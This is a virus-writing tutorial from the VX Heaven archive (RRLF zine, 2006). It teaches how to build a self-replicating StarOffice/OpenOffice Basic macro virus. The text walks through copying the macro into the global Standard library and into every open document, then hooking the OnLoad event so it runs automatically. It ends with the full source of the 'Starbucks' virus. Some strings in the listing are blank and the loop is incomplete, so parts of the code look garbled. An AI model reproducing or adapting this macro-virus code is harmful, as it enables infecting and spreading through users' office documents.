VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

The StarOffice Basic

roy g biv
Ready Rangers Liberation Front [7]
June 2006

[Back to index] [Comments]

StarOffice Basic

StarOffice has its own language called StarOffice Basic, which is similar to VBA for Microsoft Office. OpenOffice has its own language called OpenOffice Basic, which is almost identical to StarOffice Basic. The language is shared among all of the StarOffice or OpenOffice applications, so it is very easy to make a cross-platform virus.

Of course, some things are different, so let's cover some of them here.

The list would be very big to cover everything, but the important thing to know is that with one Basic for all applications, StarOffice and OpenOffice are so much simpler to use (and infect).


Now let's look at some source code and talk about how it works. We get access to the global template module this way:

        a = GlobalScope.BasicLibraries.getByName("Standard")

We get access to our code module this way:

        b = "Starbucks"
        c = BasicLibraries.getByName("Standard").getByName(b)

We can check if our code is present in the global module this way:

        if not a.hasByName(b) then

We can add our code to the global module this way:

                a.insertByName b, c

Now we want to infect all open files. We get the list this way:

                e = CreateUnoService("").getComponents

However, in order to examine the items in the list, we need an enumeration object. We create one this way:

                f = e.createEnumeration

We check if we are at the end of the list this way:

                while f.hasMoreElements

We enumerate the items this way:

                        g = f.nextElement

For each object returned by the enumeration, we get access to the macro module this way:

                        h = g.BasicLibraries.getByName("Standard")

We check if it is infected already this way:

                                if not h.hasByName(b) then

We add our code to the current document this way:

                                        h.insertByName b, c

We save the infected document this way:


So easy. Now we need to get control somehow. We can do that by hooking an event. In VBA, we use such special macro names as AutoOpen() and AutoClose(). In StarOffice and OpenOffice, it's done by changing the event property.

The events are sequences of properties, so we need to construct the property list first. We do it this way:

        dim d(1) as new

Then we decide if we are adding to the global template or the local document. For the global template, it looks like this:


For the local document, it looks like this:


The Module and Method names can be changed to whatever we want to use. To replace a global template event, we do it this way:

        createUnoService("").Events.replaceByName "OnLoad", d()

For the local document, we do it this way:

        g.Events.replaceByName "OnLoad", d()

Of course, the OnLoad event can be changed to other things, like OnSave, etc. Now let's put it all together:

        Sub Starbucks 'roy g biv - 06/06/06
        a = GlobalScope.BasicLibraries.getByName("Standard")
        b = "Starbucks"
        c = BasicLibraries.getByName("Standard").getByName(b)
        dim d(1) as new
        d(0).name = "EventType"
        d(0).value = "StarBasic"
        d(1).name = "Script"
        e = "macro://"
        f = "/Standard." + b + "." + b + "()"
        d(1).value = e + f

                if not a.hasByName(b) then
                                a.insertByName b, c
                                createUnoService("").Events.replaceByName "OnLoad", d()
                end if

                d(1).value = e + "." + f
                e = createUnoService("").getComponents.createEnumeration
                on error goto skip

                while e.hasMoreElements
                                f = e.nextElement
                                g = f.BasicLibraries.getByName("Standard")

                                if not g.hasByName(b) then
                                                g.insertByName b, c
                                                f.Events.replaceByName "OnLoad", d()
                                end if

                End Sub

That's it. In 30 lines, we infect all StarOffice and OpenOffice applications.

Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - VirusBuster - Whitehead

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka